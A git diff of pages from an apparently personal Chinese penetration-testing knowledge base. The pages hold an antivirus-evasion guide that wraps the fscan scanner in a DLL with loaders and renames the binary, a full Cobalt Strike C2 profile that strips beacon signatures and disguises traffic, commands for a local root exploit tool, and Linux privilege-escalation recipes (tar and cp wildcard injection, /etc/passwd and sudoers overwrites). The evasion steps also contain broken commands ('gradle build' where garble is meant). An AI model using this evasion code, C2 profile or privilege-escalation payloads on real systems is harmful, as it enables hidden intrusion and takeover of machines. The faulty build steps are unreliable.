
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
语法说明
cert="baidu"搜索证书(https或者imaps等)中带有baidu的资产。
cert.subject="Oracle Corporation"搜索证书持有者是Oracle Corporation的资产
cert.issuer="DigiCert"搜索证书颁发者为DigiCert Inc的资产
cert.is_valid=true验证证书是否有效,true有效,false无效
+

image-20221223162407036

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/免杀/fscan免杀/index.html b/docs/个人知识库/渗透测试/免杀/fscan免杀/index.html new file mode 100644 index 0000000..6c34266 --- /dev/null +++ b/docs/个人知识库/渗透测试/免杀/fscan免杀/index.html @@ -0,0 +1,64 @@ + + + + + +fscan免杀 | wjlin0 + + + + + + + +

fscan免杀

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:35:44
+

fscan免杀

+

前言​

+

首次学习免杀,利用dll劫持的方式,利用微软的白名单机制,实现免杀。本章节代码已同步至github,项目地址: fscan

+

过程​

+

准备fscan的源码。

+
git clone https://github.com/shadow1ng/fscan.git
+

将fsacn的源码中的main.go文件中的main函数如下,由于init函数,在go语言中,为包首次调用的时候会被执行;Go 编写的 DLL 被 C 程序调用时,init 函数会在 DLL 加载到内存时执行,而 main 函数通常不适用于 DLL 并且不会被执行。

+
package main

import "C"

import (
"fmt"
"time"

"github.com/shadow1ng/fscan/Plugins"
"github.com/shadow1ng/fscan/common"
)

//export DllCanUnloadNow
func DllCanUnloadNow() {}

//export DllGetClassObject
func DllGetClassObject() {}

//export DllRegisterServer
func DllRegisterServer() {}

//export DllUnregisterServer
func DllUnregisterServer() {}

func init() {
start := time.Now()
var Info common.HostInfo
common.Flag(&Info)
common.Parse(&Info)
Plugins.Scan(Info)
t := time.Now().Sub(start)
fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
}


func main(){}

+

编译 windows amd64 下的 dll

+
GOOS=windows GOARCH=amd64 CGO_ENABLED=1
go build -buildmode=c-shared -o fscan.dll ./cmd/fscan_dll/main.go
+

这里可以选择 c和go加载器,c加载器的代码如下:

+
// gcc -o fscan_load fscan_load.c

#include <stdio.h>
#include <windows.h>

int main() {
HMODULE hDLL;
hDLL = LoadLibrary("fscan.dll");

if (hDLL != NULL) {
// 定义函数指针类型
typedef void (*FunctionType)();

// 为每个导出函数创建一个函数指针
FunctionType DllCanUnloadNow = (FunctionType)GetProcAddress(hDLL, "DllCanUnloadNow");
FunctionType DllGetClassObject = (FunctionType)GetProcAddress(hDLL, "DllGetClassObject");
FunctionType DllRegisterServer = (FunctionType)GetProcAddress(hDLL, "DllRegisterServer");
FunctionType DllUnregisterServer = (FunctionType)GetProcAddress(hDLL, "DllUnregisterServer");

// 调用每个函数(如果函数指针非空)
if (DllCanUnloadNow) DllCanUnloadNow();
if (DllGetClassObject) DllGetClassObject();
if (DllRegisterServer) DllRegisterServer();
if (DllUnregisterServer) DllUnregisterServer();

// 卸载 DLL
FreeLibrary(hDLL);
printf("All functions executed successfully.\n");
}
else {
printf("Failed to load DLL.\n");
}

return 0;
}
+

编写dll加载器,dll加载器的作用是将dll加载到内存中,然后调用dll中的init函数,实现免杀。

+
// gradle build -o fscan_loader_go.exe main.go
package main

import (
"fmt"
"syscall"
)

func main() {
dll, err := syscall.LoadLibrary("fscan_go.dll")
if err != nil {
fmt.Printf("[-] Failed to load DLL: %s\n", err)
return
}

defer func(handle syscall.Handle) {
err := syscall.FreeLibrary(handle)
if err != nil {
fmt.Printf("[-] Failed to free DLL: %s\n", err)
}
}(dll)

// 定义并尝试获取 DLL 中的函数
dllCanUnloadNow, err := syscall.GetProcAddress(dll, "DllCanUnloadNow")
// 判断err == nil 并且 dllCanUnloadNow != 0
if err == nil && dllCanUnloadNow != 0 {
_, _, err := syscall.SyscallN(dllCanUnloadNow, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllCanUnloadNow: %s\n", err)
}
}

dllGetClassObject, err := syscall.GetProcAddress(dll, "DllGetClassObject")
if err == nil && dllGetClassObject != 0 {
_, _, err := syscall.SyscallN(dllGetClassObject, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllGetClassObject: %s\n", err)
}
}

dllRegisterServer, err := syscall.GetProcAddress(dll, "DllRegisterServer")
if err == nil && dllRegisterServer != 0 {
_, _, err := syscall.SyscallN(dllRegisterServer, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllRegisterServer: %s\n", err)
}
}

dllUnregisterServer, err := syscall.GetProcAddress(dll, "DllUnregisterServer")
if err == nil && dllUnregisterServer != 0 {
_, _, err := syscall.SyscallN(dllUnregisterServer, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllUnregisterServer: %s\n", err)
}
}

fmt.Println("All functions executed successfully.")
}

+

使用go语言编译加载器, 需要使用gradle进行混淆,防止被杀软查杀。

+
go install mvdan.cc/garble@latest
GOOS=windows GOARCH=amd64 CGO_ENABLED=1
gradle build -o fscan_loader.exe ./cmd/fscan_loader/main.go
+

将fscan.dll和fscan_loader.exe放在同一目录下,运行fscan_loader.exe,即可实现免杀。

+
# 改个名字
mv fscan_loader.exe system_dll.exe
./system_dll.exe
+

结果​

+
    +
  • 火绒
  • +
+

image-20240113042901727

+
    +
  • 微步云沙箱
  • +
+

image-20240113044447895

+

image-20240113044504534

+

参考​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/免杀/去特征/index.html b/docs/个人知识库/渗透测试/免杀/去特征/index.html new file mode 100644 index 0000000..5a1ea53 --- /dev/null +++ b/docs/个人知识库/渗透测试/免杀/去特征/index.html @@ -0,0 +1,34 @@ + + + + + +去特征 | wjlin0 + + + + + + + +

去特征

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:35:51
+

Hook

+

前言​

+

过程​

+
# Author: Kleiton Kurti (@kleiton0x7e) & John Stigerwalt (@jstigerwalt1)
### Auxiliary Settings ###
set sample_name "Stigs Random C2 Profile";
set host_stage "false"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.
set useragent "<RAND>"; # "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"; Use random Internet Explorer UA by default
set create_remote_thread "true"; # Allow beacon to create threads in other processes
set hijack_remote_thread "true"; # Allow beacon to run jobs by hijacking the primary thread of a suspeneded process
### Beacon Sleep Settings ###
set sleeptime "3000";
set jitter "33"; # Default jitter factor (0-99%)
### SMB Options ###
set pipename "Winsock2\\CatalogChangeListener-###-0";
set pipename_stager "TSVCPIPE-########-####-4###-####-############";
### SSH BANNER ##

set ssh_banner "Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1065-aws x86_64)";
set ssh_pipename "SearchTextHarvester##";

### Steal Token ###
set steal_token_access_mask "11";
### Proxy Options ###
set tasks_max_size "1604500";
#set tasks_proxy_max_size "921600";
#set tasks_dns_proxy_max_size "71680";
### Main HTTP Config Settings ###
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Contentnection, ContentType";
header "Server" "Apache";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}
### HTTPS Cert Settings ###
https-certificate {
# Self Signed Certificate Options
# set CN "*.azureedge.net";
# set O "Microsoft Corporation";
# set C "US";
# set L "Redmond";
# set ST "WA";
# set OU "Organizational Unit";
# set validity "365";
# Imported Certificate Options
# set keystore "domain.store";
# set password "password";
}
# code-signer {
# set keystore "keystore.jks";
# set password "password";
# set alias "server";
# set digest_algorithm "SHA256";
# set timestamp "false";
# set timestamp_url "http://timestamp.digicert.com";
#}
### Post Exploitation Settings ###
post-ex {
set spawnto_x86 "%windir%\\syswow64\\wbem\\wmiprvse.exe -Embedding";
set spawnto_x64 "%windir%\\sysnative\\wbem\\wmiprvse.exe -Embedding";
set obfuscate "true";
set smartinject "true";
set amsi_disable "false";
set keylogger "GetAsyncKeyState";
set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";
}
### Process Injection ###
process-inject {
set allocator "NtMapViewOfSection"; # or VirtualAllocEx
set bof_allocator "VirtualAlloc";
set bof_reuse_memory "true";
set min_alloc "24576";
set startrwx "false";
set userwx "false";
transform-x86 {
prepend
"\x44\x40\x4B\x43\x4C\x48\x90\x66\x90\x0F\x1F\x00\x66\x0F\x1F\x04\x00\x0F\x1F\x04\x00\x0F\x1F\x00\x0F\x1F\x00";
}
transform-x64 {
prepend
"\x44\x40\x4B\x43\x4C\x48\x90\x66\x90\x0F\x1F\x00\x66\x0F\x1F\x04\x00\x0F\x1F\x04\x00\x0F\x1F\x00\x0F\x1F\x00";
}
execute {
CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";
NtQueueApcThread-s;
CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
CreateRemoteThread;
RtlCreateUserThread;
SetThreadContext;
}
}
http-get {
set verb "GET"; # GET / POST
set uri "/css3/index2.shtml"; # Can be space separated string. Each beacon will be assigned one of these when the stage is built
client {
header "Accept" "text/html, application/xhtml+xml, image/jxr, */*";
header "Accept-Encoding" "gzip, deflate";
header "Accept-Language" "en-US; q=0.7, en; q=0.3";
header "Connection" "keep-alive";
header "DNT" "1";
metadata {
base64url;
parameter "accept";
}
}
server {
header "Content-Type" "application/yin+xml";
header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";
output{
base64;
print;
}
}
}
http-post {
set verb "POST"; # GET / POST
set uri "/tools/family.html";
client {
header "Accept" "text/html, application/xhtml+xml, */*";
header "Accept-Encoding" "gzip, deflate";
header "DNT" "1";
header "Content-Type" "application/x-www-form-urlencoded";
id {
base64;
prepend "token=";
header "Cookie";
}
output{
base64url;
prepend "input=";
print;
}
}
server {
header "Content-Type" "text/vnd.fly";
header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";
output {
base64;
print;
}
}
}
### Start of Real HTTP GET and POST settings ###
http-get "msrpc-azure" { # Don't think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server
set uri "/compare/v1.44/VXK7P0GBE8"; # URI used for GET requests
set verb "GET";
client {
header "Accept" "image/*, application/json, text/html";
header "Accept-Language" "nb";
header "Accept-Encoding" "br, compress";
header "Access-X-Control" "True";
metadata {
mask; # Transform type
base64url; # Transform type
prepend "SESSIONID_XVQD0C55VSGX3JM="; # Cookie value
header "Cookie"; # Cookie header
}
}
server {
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
mask; # Transform type
base64url; # Transform type
prepend "/*! jQuery v2.2.4 | (c) jQuery Foundation | jquery.org/license */ !function(a,b){'object'==typeof module&&'object'==typeof module.exp orts?module.exports=a.document?b(a,!0):function(a){if(!a.document)th row new Error('jQuery requires a window with a document');return b(a )}:b(a)}('undefined'!=typeof window?window:this,function(a,b){var c= [],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.t oString,k=i.hasOwnProperty,l={},m='2.2.4',n=function(a,b){return new n.fn.init(a,b)},o=/^[suFEFFxA0]+|[suFEFFxA0]+$/g,p=/^-ms-/,q=/- ([daz])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype ={jquery:m,constructor:n,selector:'',length:0,toArray:function(){retu rn e.call(this)},get:function(a){return null!=a?0>a?this[a+this.lengt h]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.con structor(),a);return b.prevObject=this,b.context=this.context,b},each:"; append "/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error('jQuery requires a window with a document');return t(e)}:t(e)}('undefined'!=typeof window?window :this,function(C,e){'use strict';var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice ,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l= a.call(Object),y={},m=function(e){return'function'==typeof e&&'number'!=typeof e.nodeType} ,x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};fun ction b(e,t,n){var r,i,o=(n=n||E).createElement('script');if(o.text=e,t)for(r in c)(i=t[ r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;";
print;
}
}
}
http-post "msrpc-azure" { # Don't think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server
set uri "/Construct/v1.85/JDX894ZM2WF1"; # URI used for POST block.
set verb "POST"; # HTTP verb used in POST block. Can be GET or POST
client {
header "Accept" "application/xml, application/xhtml+xml, application/json";
header "Accept-Language" "tn";
header "Accept-Encoding" "identity, *";
header "Access-X-Control" "True";
id {
mask; # Transform type
netbiosu; # Transform type
parameter "_KZZUEUVN";
}
output {
mask; # Transform type
netbios; # Transform type
print;
}
}
server {
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
mask; # Transform type
netbiosu; # Transform type
prepend "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disableselection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";
append "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effectclip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effectpuff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effectshake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effecttransfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";
print;
}
}
}
stage {
set checksum "0";
set compile_time "5 May 2023 10:52:15";
set entry_point "170000";
#set image_size_x86 "6586368";
#set image_size_x64 "6586368";
set name "srv.dll";
set magic_mz_x64 "OOPS";
set magic_mz_x86 "OOPS";
set userwx "false";
set cleanup "true";
set sleep_mask "true";
set stomppe "true";
set obfuscate "true";
set rich_header "\x92\x75\xde\x7f\xf0\x62\x4c\xf0\xc3\x44\x74\\x90\x97\x05\xa2\x3d\xd2\x18\xab\x08\xaa\xe9\xcf\x98\x81";
set sleep_mask "true";
set smartinject "true";
#set allocator "HeapAlloc";
set magic_pe "EA";
set module_x86 "wwanmm.dll";
set module_x64 "wwanmm.dll";
transform-x86 {
prepend
"\x48\x0f\x1f\x00\x66\x90\x43\x66\x87\xdb\x66\x87\xd2\x40\x45\x49\x41\x90\x87\xd2\x47\x87\xdb\x4c\x0f\x1f\x00\x0f\x1f\x00\x66\x87\xc9\x0f\x1f\x04\x00\x42\x66\x0f\x1f\x04\x00\x90\x87\xc9\x44\x46\x40";
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
strrep "beacon.dll" ""; # Remove this text
strrep "msvcrt.dll" "";
strrep "C:\\Windows\\System32\\msvcrt.dll" "";
}
transform-x64 {
prepend
"\x48\x0f\x1f\x00\x66\x90\x43\x66\x87\xdb\x66\x87\xd2\x40\x45\x49\x41\x87\x90\xd2\x47\x87\xdb\x4c\x0f\x1f\x00\x0f\x1f\x00\x66\x87\xc9\x0f\x1f\x04\x00\x42\x66\x0f\x1f\x04\x00\x90\x87\xc9\x44\x46\x40";
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "ReflectiveLoader" "";
strrep "beacon.x64.dll" "";
strrep "beacon.dll" ""; # Remove this text
strrep "msvcrt.dll" "";
strrep "C:\\Windows\\System32\\msvcrt.dll" "";
strrep "Stack around the variable" "";
strrep "was corrupted." "";
strrep "The variable" "";
strrep "is being used without being initialized." "";
strrep "The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";
strrep "A cast to a smaller data type has caused a loss of data. If this was intentional, you should mask the source of the cast with the appropriate bitmask. For example:" "";
strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";
strrep "Stack memory was corrupted" "";
strrep "A local variable was used before it was initialized" "";
strrep "Stack memory around _alloca was corrupted" "";
strrep "Unknown Runtime Check Error" "";
strrep "Unknown Filename" "";
strrep "Unknown Module Name" "";
strrep "Run-Time Check Failure" "";
strrep "Stack corrupted near unknown variable" "";
strrep "Stack pointer corruption" "";
strrep "Cast to smaller type causing loss of data" "";
strrep "Stack memory corruption" "";
strrep "Local variable used before initialization" "";
strrep "Stack around" "corrupted";
strrep "operator" "";
strrep "operator co_await" "";
strrep "operator<=>" "";
}
}
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/Linux提权/RootHawkX-Linux本地提权工具/index.html b/docs/个人知识库/渗透测试/内网渗透/Linux提权/RootHawkX-Linux本地提权工具/index.html new file mode 100644 index 0000000..1b36e4c --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/Linux提权/RootHawkX-Linux本地提权工具/index.html @@ -0,0 +1,281 @@ + + + + + +RootHawkX Linux本地提权工具 | wjlin0 + + + + + + + +

RootHawkX Linux本地提权工具

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-28 19:22:45
+

前言​

+

RootHawkX 是一个 Linux 本地安全测试终端工具,使用 Go 编写,面向授权靶机、虚拟机和实验环境。该项目基于 RootHawk 修改,并集成了更多 Linux 本地提权漏洞利用模块。

+

本文将它归档到:

+
渗透测试 -> 内网渗透 -> Linux提权 -> 本地提权工具
+
+

工具仅用于授权安全测试、靶场复现和漏洞验证。不要在未授权系统上运行本工具。

+
+

工具信息​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
项目内容
工具名称RootHawkX
上游仓库DeEpinGh0st/RootHawkX
当前归档版本v1.1
Release 地址RootHawkX v1.1
发布时间2026-06-30
主要语言Go / C
工具类型Linux 本地提权检测与利用工具
+

本地归档下载​

+

为避免上游仓库变动、Release 删除或网络不可用,本站已保存 v1.1 的源码包和全部 Release 架构二进制。

+

源码​

+ + + + + + + + + + + + + + + + + + + + +
文件下载SHA256
RootHawkX-v1.1.zip下载a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26
RootHawkX-v1.1.tar.gz下载c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d
+

可执行文件​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
文件架构下载SHA256
roothawkx_linux_386linux/386下载9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2
roothawkx_linux_amd64linux/amd64下载e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179
roothawkx_linux_arm64linux/arm64下载de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1
+

校验文件:

+ +

本地校验命令:

+
shasum -a 256 roothawkx_linux_amd64
+

如果已经下载完整归档目录,可以使用:

+
cd static/tools/roothawkx/v1.1
shasum -a 256 -c SHA256SUMS.txt
+

使用方法​

+

下载对应架构的文件后,先添加执行权限:

+
chmod +x roothawkx_linux_amd64
+

查看帮助:

+
./roothawkx_linux_amd64 -help
+

查看模块列表:

+
./roothawkx_linux_amd64 -list
+

执行指定模块:

+
./roothawkx_linux_amd64 -e CVE-2022-0847
+

按顺序执行全部模块:

+
./roothawkx_linux_amd64 -any
+

参数说明​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
参数说明
-list显示当前集成的 CVE 模块
-e执行指定 CVE 或别名
-any按列表顺序执行全部模块
-pk指定 CVE-2021-4034 使用的 pkexec 路径,默认 /usr/bin/pkexec
-backupCVE-2026-31431 执行前备份 su 到指定路径
-execCVE-2026-31431 提权后执行指定程序,而不是进入 su
-target指定执行目标功能,例如 CVE-2026-46333 的 key 或 shadow
-v尽量输出详细日志
-help显示帮助
+

集成模块​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CVE 编号常见名称 / 别名类型 / 组件
CVE-2026-31431Copy FailLinux Kernel 本地提权,涉及 crypto / AF_ALG / algif_aead 相关逻辑问题
CVE-2026-43284Dirty Frag / CopyFail2Linux Kernel 本地提权,涉及 xfrm/esp、shared skb frags 等内核网络处理路径
CVE-2026-43503DirtyCloneLinux Kernel 本地提权,利用 net/skbuff 共享分片克隆漏洞
CVE-2026-46300FragnesiaLinux Kernel 本地提权,利用 XFRM ESP-in-TCP 子系统逻辑问题,通过 page cache 覆写 /usr/bin/su 获取 root shell
CVE-2026-46331COW / PeditLinux Kernel 本地提权,利用 net/sched act_pedit 漏洞覆写内核脏数据
CVE-2026-46333ssh-keysign-pwnLinux 内核进程退出路径竞态条件,允许信息泄露,支持 -target shadow 或 -target key
CVE-2026-43494PinTheftLinux Kernel 本地提权,利用 RDS zerocopy double-free 与 io_uring page cache overwrite
dirtydecryptDirtyDecrypt / DirtyCBCLinux Kernel 本地提权,利用 rxgk_decrypt_skb() 缺少 COW 保护导致 page cache 写入
CVE-2021-4034PwnKitPolkit pkexec 本地提权漏洞
CVE-2021-3560Polkit Authentication BypassPolkit D-Bus 权限绕过
CVE-2022-0847Dirty PipeLinux Kernel 管道机制相关本地提权漏洞
+

示例命令​

+
./roothawkx_linux_amd64 -list
./roothawkx_linux_amd64 -e CVE-2021-4034
./roothawkx_linux_amd64 -e CVE-2021-4034 -pk /usr/bin/pkexec
./roothawkx_linux_amd64 -e CVE-2026-31431 -backup /tmp/su.bak
./roothawkx_linux_amd64 -e CVE-2026-31431 -backup /tmp/su.bak -exec /tmp/root-task
./roothawkx_linux_amd64 -e CVE-2026-43284 -v
./roothawkx_linux_amd64 -e CVE-2026-46300
./roothawkx_linux_amd64 -e fragnesia -v
./roothawkx_linux_amd64 -e pintheft
./roothawkx_linux_amd64 -e dirtydecrypt
./roothawkx_linux_amd64 -e dirtyclone
./roothawkx_linux_amd64 -e cow
./roothawkx_linux_amd64 -e keysign -target shadow
./roothawkx_linux_amd64 -any
+

使用注意​

+
    +
  • 只在授权环境、靶场、虚拟机或自有测试机上运行。
  • +
  • 涉及 /usr/bin/su、pkexec、page cache 覆写等模块时,优先使用快照环境测试。
  • +
  • 执行前记录系统版本、内核版本和工具哈希,便于复现和回滚。
  • +
  • 不建议在生产系统上直接运行 -any,应先通过 -list 和系统版本筛选目标模块。
  • +
  • 如果模块提供 -backup 参数,优先指定备份路径。
  • +
+

参考链接​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/Linux提权/index.html b/docs/个人知识库/渗透测试/内网渗透/Linux提权/index.html new file mode 100644 index 0000000..3620537 --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/Linux提权/index.html @@ -0,0 +1,357 @@ + + + + + +Linux提权 | wjlin0 + + + + + + + +

Linux提权

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-28 19:22:45
+

Linux 提权文档

+

Linux 提权是指通过多种技术手段,利用系统漏洞或配置错误,获取比当前用户权限更高的操作权限(通常为 root 权限)。本文记录了常见的 Linux 提权方式,适用于系统安全研究、渗透测试以及提升 Linux 系统的安全性。

+
+

前言​

+

在渗透测试和安全审计过程中,提权是一个常见的任务。无论是通过不当配置、漏洞利用,还是通过滥用系统权限,提权都能让攻击者提升对目标系统的控制。本文旨在介绍常见的 Linux 提权方式以及如何防范这些攻击。

+
+

基础知识​

+

手册​

+ +

用户和权限​

+

Linux 系统使用 用户(UID) 和 组(GID) 来管理不同用户的权限。每个文件和目录都有 所有者 和 权限(例如:rwxr-xr-x),并且会定义对文件的读取、写入和执行的访问控制。

+

常见的用户权限有:

+
    +
  • r:读取权限
  • +
  • w:写入权限
  • +
  • x:执行权限
  • +
+

SUID 和 SGID​

+
    +
  • SUID(Set User ID):当一个文件被设置了 SUID 位时,执行该文件的用户将获得文件所有者的权限,而不仅仅是当前用户的权限。通常用于程序需要用 root 权限执行的情况,如 ping。
  • +
  • SGID(Set Group ID):与 SUID 类似,但它让程序以文件所属组的身份运行。
  • +
+

查看文件是否设置了 SUID/SGID,可以使用 ls -l 命令。

+

Linux Capabilities​

+

Linux capabilities 是比传统的 root 权限更细粒度的权限管理方式。通过 setcap 命令,可以为进程或文件设置特定的能力,例如网络访问、文件管理等,而不需要完全的 root 权限。

+
+

提权方法​

+

SUID 提权​

+

SUID 提权是最常见的提权方式之一。通过利用 SUID 位,用户可以在执行某些特权命令时获取 root 权限。

+
    +
  • 查找 SUID 文件:
  • +
+
find / -type f -perm -4000 2>/dev/null
+
    +
  • 利用 SUID 提权:假设 find 工具是 SUID 文件,且具有执行 root 权限,攻击者可以通过操控该工具达到提权。
  • +
+

Linux 内核漏洞​

+

内核漏洞可以为攻击者提供直接的 root 提权。通过利用系统中的漏洞,攻击者可以执行特定的恶意代码,从而获得完整的 root 权限。

+
    +
  • 常见的内核漏洞: +
      +
    • Dirty COW 漏洞:一个著名的内核漏洞,攻击者通过该漏洞可以在没有 root 权限的情况下修改内核内存。
    • +
    • Local Root Exploits:许多内核漏洞可以让本地用户通过提升自己的权限获得 root 权限。
    • +
    +
  • +
+

Passwd提权​

+

passwd 文件提权 是通过篡改 /etc/passwd 文件中的某个用户(通常是 root)的密码字段,达到提权目的。由于某些系统或配置中 /etc/shadow 不被使用(或 root 使用的是 passwd 中的密码),攻击者可以将 /etc/passwd 中 root 的密码字段替换为一个已知的 hash,从而使用 su 提权成为 root。

+

攻击步骤如下:

+

首先生成一个已知密码的 hash,例如使用 openssl:

+
openssl passwd -1 -salt xyz 123456
+

输出示例:

+
$1$xyz$4zT7eWz8bszUOwhcGHM3E1
+

然后编辑 /etc/passwd 文件,将 root 那一行的密码字段替换成上述 hash,比如原本是:

+
root:x:0:0:root:/root:/bin/bash
+

修改为:

+
root:$1$xyz$4zT7eWz8bszUOwhcGHM3E1:0:0:root:/root:/bin/bash
+

保存后,使用 su 命令切换到 root 用户,并输入你设置的密码(这里是 123456)即可完成提权。

+

该方式需要目标系统的 /etc/passwd 可写,通常配合某些提权手段(如程序错误设置了 passwd 为 777)一起使用,属于典型的“低权限可写敏感配置文件”类型的提权方式。

+

Wildcard提权​

+

wildcard 通配符提权 是 Linux 提权的一种方式,攻击者可以利用某些命令(如 tar、cp 等)在处理带有通配符 * 时会解析特定参数或行为,从而执行恶意命令或操作文件实现提权。例如,当有 sudo tar -cf archive.tar * 的权限时,攻击者可以创建特殊参数文件:

+
echo 'echo pwned > /tmp/rooted' > exploit.sh
chmod +x exploit.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=./exploit.sh"
sudo tar -cf archive.tar *
+

这样在打包时 tar 会自动执行 ./exploit.sh,从而执行任意命令。

+

另一个常见例子是 cp 命令。当存在 sudo cp * /etc/ 权限时,攻击者可以通过构造选项注入和目标文件实现提权:

+
echo 'youruser ALL=(ALL) NOPASSWD:ALL' > sudoers
touch "--target-directory=/etc"
touch "--no-preserve=ownership"
sudo cp * /etc/
+

这样可能将伪造的 sudoers 文件复制到 /etc/sudoers,实现免密码 sudo 提权。

+

还可以结合 cp -L 选项进行利用,例如:

+
ln -s /etc/sudoers link
echo 'youruser ALL=(ALL) NOPASSWD:ALL' > payload
mv payload link
sudo cp -L * /etc/
+

由于 -L 选项会解引用符号链接,cp 会将 payload 的内容写入 /etc/sudoers,从而实现权限提升。

+

Mysql UDF提权​

+

MySQL UDF提权利用的是MySQL数据库支持加载用户自定义函数(User Defined Function)的特性。攻击者通过上传并加载恶意编译好的共享库(.so文件),可以在数据库服务器上执行任意系统命令,从而实现本地提权,甚至获得root权限。

+

前提条件:

+
    +
  1. 允许攻击者拥有导出权限。查看可导出位置,MySQL用户拥有FILE权限,可以将上传的.so文件写入MySQL插件目录(如/usr/lib/mysql/plugin/)
  2. +
+
show variables like '%secure%'
+
    +
  1. 具备MySQL用户权限能够执行CREATE FUNCTION语句,加载恶意的UDF共享库。
  2. +
